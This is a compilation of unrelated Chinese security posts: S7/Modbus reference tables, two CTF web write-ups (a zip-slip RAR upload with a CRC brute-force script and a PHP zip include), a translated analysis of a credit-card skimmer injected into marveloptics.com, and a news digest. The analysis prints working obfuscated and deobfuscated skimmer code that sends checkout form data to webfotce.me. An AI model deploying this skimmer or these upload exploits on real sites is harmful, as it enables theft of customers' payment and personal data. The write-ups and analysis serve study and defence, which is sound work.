0xD0CA | 通过在退出前重置OB90并访问错误读取标签退出状态范围
0xD0CB | 外设输出的输出禁用再次激活
0xD0CC | 调试功能的数据量受时间限制
0xD201 | 块名称中的语法错误
0xD202 | 函数参数中的语法错误
0xD205 | RAM中已存在链接块：无法进行条件复制
0xD206 | EPROM中已存在链接块：无法进行条件复制
0xD208 | 超出模块的最大复制（未链接）块数
0xD209 | （至少）模块上找不到给定块之一
0xD20A | 超出了可以与一个作业链接的最大块数
0xD20B | 超出了一个作业可以删除的最大块数
0xD20C | OB无法复制，因为关联的优先级不存在
0xD20D | SDB无法解释（例如，未知数）
0xD20E | 没有（进一步）阻止可用
0xD20F | 超出模块特定的最大块大小
0xD210 | 块号无效
0xD212 | 标头属性不正确（与运行时相关）
0xD213 | SDB太多。请注意对正在使用的模块的限制
0xD216 | 无效的用户程序 - 重置模块
0xD217 | 不允许在模块属性中指定的保护级别
0xD218 | 属性不正确（主动/被动）
0xD219 | 块长度不正确（例如，第一部分或整个块的长度不正确）
0xD21A | 本地数据长度不正确或写保护错误
0xD21B | 模块无法压缩或压缩早期中断
0xD21D | 传输的动态项目数据量是非法的
0xD21E | 无法为模块（例如FM，CP）分配参数。系统数据无法链接
0xD220 | 编程语言无效。请注意对正在使用的模块的限制
0xD221 | 连接或路由的系统数据无效
0xD222 | 全局数据定义的系统数据包含无效参数
0xD223 | 通信功能块的实例数据块错误或超出最大背景数据块数
0xD224 | SCAN系统数据块包含无效参数
0xD225 | DP系统数据块包含无效参数
0xD226 | 块中发生结构错误
0xD230 | 块中发生结构错误
0xD231 | 至少有一个已加载的OB无法复制，因为关联的优先级不存在
0xD232 | 加载块的至少一个块编号是非法的
0xD234 | 块在指定的内存介质或作业中存在两次
0xD235 | 该块包含不正确的校验和
0xD236 | 该块不包含校验和
0xD237 | 您将要加载块两次，即CPU上已存在具有相同时间戳的块
0xD238 | 指定的块中至少有一个不是DB
0xD239 | 至少有一个指定的DB在装载存储器中不可用作链接变量
0xD23A | 至少有一个指定的DB与复制和链接的变体有很大不同
0xD240 | 违反了协调规则
0xD241 | 当前保护级别不允许该功能
0xD242 | 处理F块时的保护冲突
0xD250 | 更新和模块ID或版本不匹配
0xD251 | 操作系统组件序列不正确
0xD252 | 校验和错误
0xD253 | 没有可用的可执行加载程序; 只能使用存储卡进行更新
0xD254 | 操作系统中的存储错误
0xD280 | 在S7-300 CPU中编译块时出错
0xD2A1 | 块上的另一个块功能或触发器处于活动状态
0xD2A2 | 块上的触发器处于活动状态。首先完成调试功能
0xD2A3 | 块未激活（链接），块被占用或块当前被标记为删除
0xD2A4 | 该块已被另一个块函数处理
0xD2A6 | 无法同时保存和更改用户程序
0xD2A7 | 块具有“未链接”属性或未处理
0xD2A8 | 激活的调试功能阻止将参数分配给CPU
0xD2A9 | 正在为CPU分配新参数
0xD2AA | 当前正在为模块分配新参数
0xD2AB | 当前正在更改动态配置限制
0xD2AC | 正在运行的激活或取消激活分配（SFC 12）暂时阻止R-KiR过程
0xD2B0 | 在RUN（CiR）中配置时发生错误
0xD2C0 | 已超出最大工艺对象数
0xD2C1 | 模块上已存在相同的技术数据块
0xD2C2 | 无法下载用户程序或下载硬件配置
0xD401 | 信息功能不可用
0xD402 | 信息功能不可用
0xD403 | 服务已登录/注销（诊断/ PMC）
0xD404 | 达到的最大节点数。不再需要登录诊断/ PMC
0xD405 | 不支持服务或函数参数中的语法错误
0xD406 | 当前不可用的必需信息
0xD407 | 发生诊断错误
0xD408 | 更新已中止
0xD409 | DP总线错误
0xD601 | 函数参数中的语法错误
0xD602 | 输入的密码不正确
0xD603 | 连接已合法化
0xD604 | 已启用连接
0xD605 | 由于密码不存在，因此无法进行合法化
0xD801 | 至少有一个标记地址无效
0xD802 | 指定的作业不存在
0xD803 | 非法的工作状态
0xD804 | 非法循环时间（非法时基或多个）
0xD805 | 不能再设置循环读取作业
0xD806 | 引用的作业处于无法执行请求的功能的状态
0xD807 | 功能因过载而中止，这意味着执行读取周期所需的时间比设置的扫描周期时间长
0xDC01 | 日期和/或时间无效
0xE201 | CPU已经是主设备
0xE202 | 由于闪存模块中的用户程序不同，无法进行连接和更新
0xE203 | 由于固件不同，无法连接和更新
0xE204 | 由于内存配置不同，无法连接和更新
0xE205 | 由于同步错误导致连接/更新中止
0xE206 | 由于协调违规而拒绝连接/更新
0xEF01 | S7协议错误：ID2错误; 工作中只允许00H
0xEF02 | S7协议错误：ID2错误; 资源集不存在
# 0x07 附录二：PI server name
服务名称 | 值（描述）
| :----- | :-----|
| UNKNOWN | PI-Service目前不详
| _INSE | PI-Service _INSE（激活PLC模块）
| _DELE | PI-Service _DELE（从PLC的被动文件系统中删除模块）
| P_PROGRAM | PI-Service P_PROGRAM（PLC启动/停止）
| _MODU | PI-Service _MODU（PLC Copy Ram to Rom）
| _GARB | PI-Service _GARB（压缩PLC内存）
| _N _LOGIN_ | PI-Service _N _LOGIN_ （登录）
| _N_LOGOUT | PI-Service _N_LOGOUT（退出）
| _N_CANCEL | PI-Service _N_CANCEL（取消NC报警）
| _N_DASAVE | PI-Service _N_DASAVE（用于将数据从SRAM复制到FLASH的PI-Service）
| _N_DIGIOF P| I-Service _N_DIGIOF（关闭数字化）
| _N_DIGION | PI-Service _N_DIGION（打开数字化）
| _N _DZERO_ | PI-Service _N _DZERO_ （设置所有D nos。对于函数无效\“唯一D号。\”）
| _N_ENDEXT | PI-Service _N_ENDEXT（）
| _N_F_OPER | PI-Service _N_F_OPER（以只读方式打开文件）
| _N_OST_OF | PI-Service _N_OST_OF（Overstore OFF）
| _N_OST_ON | PI-Service _N_OST_ON（Overstore ON）
| _N _SCALE_ | PI-Service _N _SCALE_ （测量单位设置（公制< \- > INCH））
| _N_SETUFR | PI-Service _N_SETUFR（激活用户帧）
| _N_STRTLK | PI-Service _N_STRTLK（设置全局启动禁用）
| _N_STRTUL | PI-Service _N_STRTUL（重置全局启动禁用）
| _N_TMRASS | PI-Service _N_TMRASS（重置活动状态）
| _N_F_DELE | PI-Service _N_F_DELE（删除文件）
| _N_EXTERN | PI-Service _N_EXTERN（选择外部程序执行）
| _N_EXTMOD | PI-Service _N_EXTMOD（选择外部程序执行）
| _N_F_DELR | PI-Service _N_F_DELR（即使没有访问权限也删除文件）
| _N_F_XFER | PI-Service _N_F_XFER（选择要上传的文件）
| _N _LOCKE_ | PI-Service _N _LOCKE_ （锁定活动文件以进行编辑）
| _N_SELECT| PI-Service _N_SELECT（选择要执行的程序）
| _N_SRTEXT | PI-Service _N_SRTEXT（文件正在/ _N_EXT_DIR中标记）
| _N_F_CLOS | PI-Service _N_F_CLOS（关闭文件）
| _N_F_OPEN| PI-Service _N_F_OPEN（打开文件）
| _N_F_SEEK| PI-Service _N_F_SEEK（定位文件搜索指针）
| _N_ASUP **| PI-Service _N_ASUP** （分配中断）
| _N_CHEKDM | PI-Service _N_CHEKDM（对D号码启动唯一性检查）
| _N_CHKDNO | PI-Service _N_CHKDNO（检查工具是否具有唯一的D编号）
| _N_CONFIG | PI-Service _N_CONFIG（重新配置机器数据）
| _N_CRCEDN | PI-Service _N_CRCEDN（通过指定边数来创建切削刃）
| _N_DELECE | PI-Service _N_DELECE（删除最前沿）
| _N_CREACE | PI-Service _N_CREACE（创造最前沿）
| _N_CREATO| PI-Service _N_CREATO（创建工具）
| _N_DELETO| PI-Service _N_DELETO（删除工具）
| _N_CRTOCE| PI-Service _N_CRTOCE（生成具有指定边数的工具）
| _N_DELVAR | PI-Service _N_DELVAR（删除数据块）
| _N_F_COPY| PI-Service _N_F_COPY（复制NCK中的文件）
| _N_F_DMDA | PI-Service _N_F_DMDA（删除MDA内存）
| _N_F_PROT | PI-Service _N_F_PROT（为文件指定保护级别）
| _N_F_RENA | PI-Service _N_F_RENA（重命名文件）
| _N_FINDBL | PI-Service _N_FINDBL（激活搜索）
| _N_IBN_SS | PI-Service _N_IBN_SS（设置设置开关）
| _N_MMCSEM | PI-Service _N_MMCSEM（MMC-Semaphore）
| _N_NCKMOD | PI-Service _N_NCKMOD（正在设置NCK工作的模式）
| _N_NEWPWD | PI-Service _N_NEWPWD（新密码）
| _N_SEL_BL | PI-Service _N_SEL_BL（选择新块）
| _N_SETTST | PI-Service _N_SETTST（激活替换工具组的工具）
| _N_TMAWCO | PI-Service _N_TMAWCO（在一个杂志中设置有效磨损组）
| _N_TMCRTC| PI-Service _N_TMCRTC（创建具有指定边数的工具）
| _N_TMCRTO | PI-Service _N_TMCRTO（在工具管理中创建工具）
| _N_TMFDPL | PI-Service _N_TMFDPL（搜索空白处加载）
| _N_TMFPBP | PI-Service _N_TMFPBP（搜索空位）
| _N_TMGETT | PI-Service _N_TMGETT（使用Duplono确定特定工具ID的T编号）
| _N_TMMVTL| PI-Service _N_TMMVTL（加载或卸载工具）
| _N_TMPCIT| PI-Service _N_TMPCIT（设置计件器的增量值）
| _N_TMPOSM | PI-Service _N_TMPOSM（定位杂志或工具）
| _N_TRESMO | PI-Service _N_TRESMO（重置监控值）
| _N_TSEARC| PI-Service _N_TSEARC（通过搜索屏幕进行复杂搜索）
# 0x08 Modbus 中一些缩写含义
缩写|含义
| :----- | :-----|
|ADU | 应用数据单元
| HDLC | 高级数据链路控制HMI人机界面
| IETF | 互联网工程任务组
| I / O | 输入/输出
| IP | 互联网协议
| MAC | 媒体访问控制
| MB | MODBUS协议
| MBAP | MODBUS应用协议
| PDU | 协议数据单元
| PLC | 可编程逻辑控制器
| TCP | 传输控制协议
# 0x07 附录三：一些工控协议包及 modbus 的资料
工控数据包：
链接:<https://pan.baidu.com/s/1lkr4bsoCJTACzVwzgHcgdQ>
密码:tp1u
modbus 资料：
见附件 | 社区文章 |
# ctf中关于文件压缩的2个web题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## [CSCCTF 2019 Final]ZlipperyStillAlive
题目下载链接
<https://github.com/sturmisch/cscctf-problem/tree/master/2019/final/web/zlippery-still-alive>
这个题网上没有找到具体细节的wp，而且关于go的web题比较少，这里记录一下，看看题目
看看源码，发现有2个路由，get请求的根目录，和post请求的upload
先来看看get请求/的代码吧，发现调用了getServerTime这个函数，看看这个函数，发现执行了一个叫time.sh的脚本，所以如果我们可以覆写这个文件，那就可以达到命令执行，所以可以确定目标
看看upload这个路由，发现允许上传rar和png和jpg文件，重点放在rar，如果后缀名为rar就会调用extract这个函数把rar文件解压
google查询了一下相关代码，发现有个zip的slip漏洞
具体搜索这个漏洞，发现go也受影响，并且rar等多种压缩文件受影响，网上有现成的zip压缩的构造脚本，但是没有rar的，下一个目标就是要搞清楚rar的一些格式，但是rar的文件压缩是不开源的，但是我们可以从go代码的一些验证里面进行突破
linux和window都不可以以/为文件名，所以先在文件里面写上读取flag的代码，然后压缩为rar文件
用winhex打开把2改成/
上传文件后发现了报错bad header crc
参考源码发现调用了这个rardecode这个库
所以继续跟踪这个库，然后搜索这个报错的字符串发现了位置
在看看哪里调用了这个错误
这里判断了crc的值，如果不等于，就报错，所以我们的目标就是绕过这个，但是具体不知道他是计算的哪里的crc值，所以我们一会写脚本爆破
我们在创建一个..1..1time.sh的文件，并且压缩为rar文件，对2个文件进行对比
发现就只有这个4个字节不同，但是我们不知道他是计算的哪些字符串的crc32的值，所以写脚本爆破
这里的16进制直接重winhex里面复制就行
import binascii
from zlib import crc32
s='526172211A0701003392B5E50A01050600050101808000C1CCD15B2902030B900004900020E57A05988000000D2E2E312E2E3174696D652E73680A0302A5263B1FFA2BD601746163202F6574632F7370617274616E1D77565103050400'
for x in range(len(binascii.a2b_hex(s))):
for y in range(x+1,len(binascii.a2b_hex(s))):
if '5b' in hex(crc32(binascii.a2b_hex(s)[x:y])) and 'c1' in hex(crc32(binascii.a2b_hex(s)[x:y])):
print(x,y,hex(crc32(binascii.a2b_hex(s)[x:y])))
爆破出来发现是第27位到第69位
所以取出第27到第69，然后修改内容计算crc32的值，修改成计算出来的值
然后上传
回地开始界面刷新就会执行那个覆写的time.sh的脚本
## tctf2021的1linephp
题目的代码很简单，可惜这个phpinfo是个静态的phpinfo.html，不然可以尝试一下临时缓存文件的利用，所以只有通过session的文件上传包含了。题目是有zip拓展的(通过phpinfo.html可以发现)，结合之前的文件包含的学习总结，可以知道后缀名限制时可以用`zip://t.zip#t.php`和`phar://a.phar/a.php`，但是phar的文件包含的条件比较苛刻，第一个就是文件必须有后缀名，但是我们通过session构造上传的文件是没有后缀名的，所以就得想办法利用zip了
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
借用维基百科上面zip文件为单文件时的结构图，可以明显的看到前26字节基本上是一些基础信息，一般是用于校验用的
先看看php的文档上面正常打开zip文件的操作，先是选择了`ZipArchive::CHECKCONS`的模式进行了检查，检查通过后就用`stream_get_contents`读取了文件内容，最后进行了crc的校验
来看看底层ZipArchive的open方法，接受2个参数，第二个flags就是打开时启用的模式
那么`ZipArchive::CHECKCONS`其实就是`ZIP_CHECKCONS`，`ZIP_CHECKCONS`是什么就可以看看libzip里面的声明了
然后看看官网的libzip的说明，也就是说如果是`ZIP_CHECKCONS`的模式打开才会进行魔数这些东西的检查，结合之前维基百科的zip单文件压缩结构图，真正对读取文件起作用的就是第26个字节后关于文件的描述
然后我们看看php底层通过数据流打开时的代码，可以发现php通过zip的数据流打开时是没有进行验证的，就直接调用了`zip_open`函数，但是打开的方式是`ZIP_CREATE`，这个模式是不会检测文件的，然后通过`zip_fopen`打开要读取的zip文件
`php_stream_zip_opener`
然后看看libzip的源码的`zip_open`怎么写的吧，`zip_open_from_source`函数就是针对我们传入的模式进行创建数据流
直接看看函数调用链到关键地方吧
<a name=”这里是对魔数进行了检测匹配的，但是匹配的是`504b0506`，而没有匹配的文件头” class=”reference-link”>这里是对魔数进行了检测匹配的，但是匹配的是`504b0506`，而没有匹配的文件头
但是如果是`ZIP_CHECKCONS`模式就会进入`_zip_checkcons`，这个函数就是zip的格式检查函数，所以可以通过`ZIP_CREATE`的模式打开的就不会进入`_zip_checkcons`
可以看看他检查的主要内容
所以我们目标就很明确了，只要读取文件的关键位置偏移不变，那么就可以成功读取文件，所以只需要删除构造的zip的单文件的前16字节，在配合zip协议进行包含就行
然后通过bp进行条件竞争，包含session的临时文件后写入一句话，得到flag | 社区文章 |
`原文：https://blog.jse.li/posts/marveloptics-malware/`
摘要：这段被注入的脚本偷取结账表单数据并将其发送到中国人持有的域名，但是攻击者的编程技术真的很烂。
最近，我妈妈在网上寻找一副新的眼镜。而当访问到 `marveloptics.com`
的时候，她的杀毒软件开始弹出恶意Javascript的警告。我总是很好奇现实生活中的攻击是如何运作的，我便对它实施逆向工程。
文件可以在 [Github仓库](https://github.com/veggiedefender/marveloptics_malware)找到。
## 恶意代码位置
这些攻击者把他们的代码注入到像modernizr和openid的库，这样做有一些好处：
* 库包含压缩过的代码，这让混淆过的恶意代码很难被发现。
* 因为开发者很少升级他们的依赖库，被注入的代码会在应用代码升级的时候继续存在。
## 反混淆
文件：
[modernizr.js](https://github.com/veggiedefender/marveloptics_malware/blob/master/original/modernizr.js)
[openid.js](https://github.com/veggiedefender/marveloptics_malware/blob/master/original/modernizr.js)
它们包含完全相同的代码，并且很明显都是用[javascriptobfuscator.com](http://javascriptobfuscator.com)这类工具混淆过的。
幸运的是，`js-beautify`专门对这些脚本进行反混淆处理。
`$ js-beautify -x -s 2 original/op`
处理后的代码：
var i3692386a609ff6fd204a1418521ec651 = {
snd: null,
o7d6e88f271f3ac078a708f7123e10e14: "https://webfotce.me/js/form.js",
myid: (function(_0x79e5x2) {
var _0x79e5x3 = document["cookie"]["match"](new RegExp("(?:^|; )" + _0x79e5x2["replace"](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
return _0x79e5x3 ? decodeURIComponent(_0x79e5x3[1]) : undefined
})("setidd") || (function() {
var _0x79e5x4 = new Date();
var _0x79e5x5 = _0x79e5x4["getTime"]() + "-" + Math["floor"](Math["random"]() * (999999999 - 11111111 + 1) + 11111111);
var _0x79e5x6 = new Date(new Date()["getTime"]() + 60 * 60 * 24 * 1000);
document["cookie"] = "setidd=" + _0x79e5x5 + "; path=/; expires=" + _0x79e5x6["toUTCString"]();
return _0x79e5x5
})(),
clk: function() {
i3692386a609ff6fd204a1418521ec651["snd"] = null;
var _0x79e5x7 = document["querySelectorAll"]("input, select, textarea, checkbox, button");
for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5x7["length"]; _0x79e5x8++) {
if (_0x79e5x7[_0x79e5x8]["value"]["length"] > 0) {
var _0x79e5x9 = _0x79e5x7[_0x79e5x8]["name"];
if (_0x79e5x9 == "") {
_0x79e5x9 = _0x79e5x8
};
i3692386a609ff6fd204a1418521ec651["snd"] += _0x79e5x7[_0x79e5x8]["name"] + "=" + _0x79e5x7[_0x79e5x8]["value"] + "&"
}
}
},
send: function() {
try {
var _0x79e5xa = document["querySelectorAll"]("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5xa["length"]; _0x79e5x8++) {
var _0x79e5xb = _0x79e5xa[_0x79e5x8];
if (_0x79e5xb["type"] != "text" && _0x79e5xb["type"] != "select" && _0x79e5xb["type"] != "checkbox" && _0x79e5xb["type"] != "password" && _0x79e5xb["type"] != "radio") {
if (_0x79e5xb["addEventListener"]) {
_0x79e5xb["addEventListener"]("click", i3692386a609ff6fd204a1418521ec651["clk"], false)
} else {
_0x79e5xb["attachEvent"]("onclick", i3692386a609ff6fd204a1418521ec651["clk"])
}
}
};
var _0x79e5xc = document["querySelectorAll"]("form");
for (vari = 0; _0x79e5x8 < _0x79e5xc["length"]; _0x79e5x8++) {
if (_0x79e5xc[_0x79e5x8]["addEventListener"]) {
_0x79e5xc[_0x79e5x8]["addEventListener"]("submit", i3692386a609ff6fd204a1418521ec651["clk"], false)
} else {
_0x79e5xc[_0x79e5x8]["attachEvent"]("onsubmit", i3692386a609ff6fd204a1418521ec651["clk"])
}
};
if (i3692386a609ff6fd204a1418521ec651["snd"] != null) {
var _0x79e5xd = location["hostname"]["split"](".")["slice"](0)["join"]("_") || "nodomain";
var _0x79e5xe = btoa(i3692386a609ff6fd204a1418521ec651["snd"]);
var _0x79e5xf = new XMLHttpRequest();
_0x79e5xf["open"]("POST", i3692386a609ff6fd204a1418521ec651["o7d6e88f271f3ac078a708f7123e10e14"], true);
_0x79e5xf["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
_0x79e5xf["send"]("info=" + _0x79e5xe + "&hostname=" + _0x79e5xd + "&key=" + i3692386a609ff6fd204a1418521ec651["myid"])
};
i3692386a609ff6fd204a1418521ec651["snd"] = null;
_0x79e5xe = null;
setTimeout(function() {
i3692386a609ff6fd204a1418521ec651["send"]()
}, 30)
} catch (e) {}
}
};
if ((new RegExp("onepage|checkout|onestep", "gi"))["test"](window["location"])) {
i3692386a609ff6fd204a1418521ec651["send"]()
}
这样看上去好了一点，但是还是很乱！接下来就是查找替换还原变量名以及添加注释的繁琐工作:
var Malware = {
data: null,
url: "https://webfotce.me/js/form.js",
myid: (function(cookieName) {
// 检查cookie中的`setidd`字段
var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
//如果cookie不存在，那么将生成一个新ID，并将其保存在cookie的`setidd`字段//ID由当前的unix时间戳，短划线和长随机数组成
//形如：`1529853014535-289383517`
var timestamp = new Date();
var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // 该cookie将在24小时后失效
document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
return id;
})(),
stealData: function() {
// 将所有input、dropdown、textarea、checkboxe、和button (?)的值序列化
// 保存于 Malware.data
Malware.data = null;
var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == "") {
name = i;
};
Malware.data += elements[i].name + "=" + elements[i].value + "&";
}
}
},
send: function() {
try {
// //当用户点击任意按钮或表单输入时，运行stealData()
var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
if (element.addEventListener) {
element.addEventListener("click", Malware.stealData, false);
} else {
element.attachEvent("onclick", Malware.stealData);
}
}
};
// 当用户提交一个表单时，运行stealData()
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) { //是的，这里是他们的拼写错误！
if (formElements[i].addEventListener) {
formElements[i].addEventListener("submit", Malware.stealData, false);
} else {
formElements[i].attachEvent("onsubmit", Malware.stealData);
}
};
// 如果有待发送数据，那么将其发送到预定义的Url
if (Malware.data != null) {
var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
var data = btoa(Malware.data); // base64编码
var xhr = new XMLHttpRequest();
xhr.open("POST", Malware.url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30); //整个函数每30毫秒运行一次!
} catch (e) {}
}
};
//仅在有重要数据的页面运行
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
Malware.send();
}
## 它干了什么？
一步步的，这些是代码干的事:
### 开始
//仅在有重要数据的页面运行
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
Malware.send();
}
这是整个脚本的入口点，它用于调用`send（）`，但前提是该页面是结帐页面。
### 声明主对象
var Malware = {
data: null,
url: "https://webfotce.me/js/form.js",
我将其重命名为`Malware`，大部分代码都存在于此对象中。 `data`最终将存储用户的被盗数据，这些数据将被发送到`ulrl`。
### 识别用户
myid: (function(cookieName) {
// 检查cookie中的`setidd`字段
var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
//如果cookie不存在，那么将生成一个新ID，并将其保存在cookie的`setidd`字段//ID由当前的unix时间戳，短划线和长随机数组成
//形如：`1529853014535-289383517`
var timestamp = new Date();
var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // 该cookie将在24小时后失效
document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
return id;
})(),
`myid` 存储字符串ID以标识用户。
在第一个代码块中，程序检查cookie中的`setidd`字段。
如果存在（受害者曾经访问过此网站），那么它会解析cookie提取其中的ID，并将其存储在`myid`中。
但是，如果cookie不存在，那么将生成一个新ID，并将其保存在`myid`和cookie的`setidd`字段中，该cookie将在24小时后失效。
ID由当前的unix时间戳，短划线和长随机数组成，形如：`1529853014535-289383517`。
Helper function to vacuum up data
### 用辅助函数收集数据
stealData: function() {
// 将所有input、dropdown、textarea、checkboxe、和button (?)的值序列化
// 保存于 Malware.data
Malware.data = null;
var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].value.length > 0) {
var name = elements[i].name;
if (name == "") {
name = i;
};
Malware.data += elements[i].name + "=" + elements[i].value + "&";
}
}
},
首先，它将`data`属性清空，设置为`null`。 然后，它在页面上查找所有文本输入框，并以以下格式保存其名称(name)和值(value)：
`name=admin&password=hunter2`
但实际上，因为`data`从`null`开始，当程序将新值和它拼接时，拼接后的字符串看起来更像是这样的：
`nullusername=admin&password=hunter2`
因此我们知道我们正在与“顶级”黑客打交道。
### 大头的一个：`send()`
send: function() {
try {
// ...
} catch (e) {}
}
这些是“专业”开发者，“专业”开发者永远不会让错误( error)妨碍他们。
#### 添加事件侦听器
//当用户点击任意按钮或表单输入时，运行stealData()
var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
if (element.addEventListener) {
element.addEventListener("click", Malware.stealData, false);
} else {
element.attachEvent("onclick", Malware.stealData);
}
}
};
恶意代码会为页面上的所有按钮注入一个事件监听器，因此当用户单击其中任何一个按钮时，它们会再次运行`stealData（）`。
检查`element.addEventListener`，如果这个属性不存在则使用`element.attachEvent`，这是支持Internet
Explorer 8及更低版本的技巧。
//当用户提交一个表单时，运行stealData()
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) { //是的，这里是他们的拼写错误！
if (formElements[i].addEventListener) {
formElements[i].addEventListener("submit", Malware.stealData, false);
} else {
formElements[i].attachEvent("onsubmit", Malware.stealData);
}
};
他们也试图为表单提交做同样的事情。 然而，他们写了一个拼写错误：他们写了`vari = 0`而不是写`var i =
0`。这样就创建了一个名为`vari`的全局变量并将其设置为0.幸运的是，前一个循环中的`i`仍然在作用范围内。
因此，`i`的初始值大于0，并且可能也大于`formElements.length`，这意味着循环体实际上从未运行过。
再一次看出，我们正在和“专业”开发者打交道。
#### 发送数据
// 如果有待发送数据，那么将其发送到预定义的Url
if (Malware.data != null) {
var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
var data = btoa(Malware.data); // base64 编码
var xhr = new XMLHttpRequest();
xhr.open("POST", Malware.url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};
如果`data`内部有数据（由`stealData（）`设置的），则将其POST到他们的域名。
`data`中的所有内容都进行了base64编码，因此它不会与剩下的POST请求发生冲突，其中包括ID和当前页面的主机名（由于某种原因，点会转换为下划线）
#### 清空并再次运行
Malware.data = null;
data = null;
setTimeout(function() {
Malware.send();
}, 30);//整个函数每30毫秒运行一次!
`send()`每30毫秒（！）调用一次，他们一点都不在意性能。
## WHOIS的背后？
对其域名进行的WHOIS查询结果显示`webfotce.me`已被注册给中国福建的一家名为“Wuxi Yilian LLC”的公司。 他们的注册商是
<http://www.bizcn.com> 。断言这些攻击者是中国人应该比较靠谱。
Registrar WHOIS Server:
Registrar URL: http://www.bizcn.com
Updated Date: 2017-10-25T07:11:06Z
Creation Date: 2016-10-28T10:49:19Z
Registry Expiry Date: 2018-10-28T10:49:19Z
Registrar Registration Expiration Date:
Registrar: Bizcn.com
谷歌搜索显示，这不是该公司唯一的恶意行为：当比特币大约6000美元时，他们涉嫌从这个红色赌场偷走250个比特币，这意味着他们偷了大约150万美元。
## 大体时间
根据[互联网快照存档](https://web.archive.org/web/20170603212808/https://www.marveloptics.com/templates/moptics/js/vendor/modernizr.js)，自2017年1月至6月期间，`marveloptics.com`已被感染，这意味着他们在过去一年中所有客户的信息都被窃取。
我今年6月24日通过电子邮件向`[email protected]`发送了详细信息，但尚未收到回复。 | 社区文章 |
# 3月23日安全热点 –亚特兰大IT系统被SamSam Ransomware袭击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
##
## 资讯类
亚特兰大IT系统被SamSam Ransomware袭击
<https://www.bleepingcomputer.com/news/security/city-of-atlanta-it-systems-hit-by-samsam-ransomware/>
亚洲黑帽大会：可穿戴设备的3个攻击面
<https://www.theregister.co.uk/2018/03/22/holy_sweat_wearables_have_three_attack_surfaces/>
银行木马Trojan TrickBot又出新花样
<http://www.zdnet.com/article/old-trickbot-trojan-taught-new-tricks/>
TrickBot银行木马获取Screenlocker组件
<https://www.bleepingcomputer.com/news/security/trickbot-banking-trojan-gets-screenlocker-component/>
谷歌正在为Chrome OS设备发布更多的Meltdown和Spectre补丁
Google宣布，针对受到Spectre和Meltdown漏洞影响的英特尔处理器的设备的缓解 将可用于Google Chrome操作系统的最新稳定频道更新。
<http://securityaffairs.co/wordpress/70561/hacking/chrome-os-meltdown-spectre.html>
TeleRAT——使用电报进行数据泄露的新型Android木马
Palo Alto Networks的安全专家发现了一种名为TeleRAT的新型Android木马，该木马使用Telegram Bot
API与命令和控制（C＆C）服务器进行通信并泄露数据。
<http://securityaffairs.co/wordpress/70551/malware/telerat-android-trojan.html>
数千台服务器泄露了750MB的密码和密钥
泄漏etcd服务器可能是数据盗窃者和勒索软件骗子的福音。
<https://arstechnica.com/information-technology/2018/03/thousands-of-servers-found-leaking-750-mb-worth-of-passwords-and-keys/>
恶意软件利用网络注入来清空用户的加密货币账户
<https://www.helpnetsecurity.com/2018/03/22/cryptocurrency-theft-web-injects/>
## 技术类
国产电纸书Bambook破解笔记
<http://www.droidsec.cn/%E5%9B%BD%E4%BA%A7%E7%94%B5%E7%BA%B8%E4%B9%A6bambook%E7%A0%B4%E8%A7%A3%E7%AC%94%E8%AE%B0/>
WPHunter：Wordpress漏洞扫描器v0.1测试版
<https://www.reddit.com/r/netsec/comments/867xmp/wphunter_a_wordpress_vulnerability_scanner_v01/>
GhostMiner: Cryptomining Malware Goes Fileless
<https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless>
Yahoo Small Business – SQL注入漏洞
<https://cxsecurity.com/issue/WLB-2018030186>
[CVE-2018-3741] rails-html-sanitizer中的XSS漏洞
<http://seclists.org/oss-sec/2018/q1/262>
ModSecurity WAF 3.0 for Nginx – Denial of Service
<https://www.securityfocus.com/archive/1/541886>
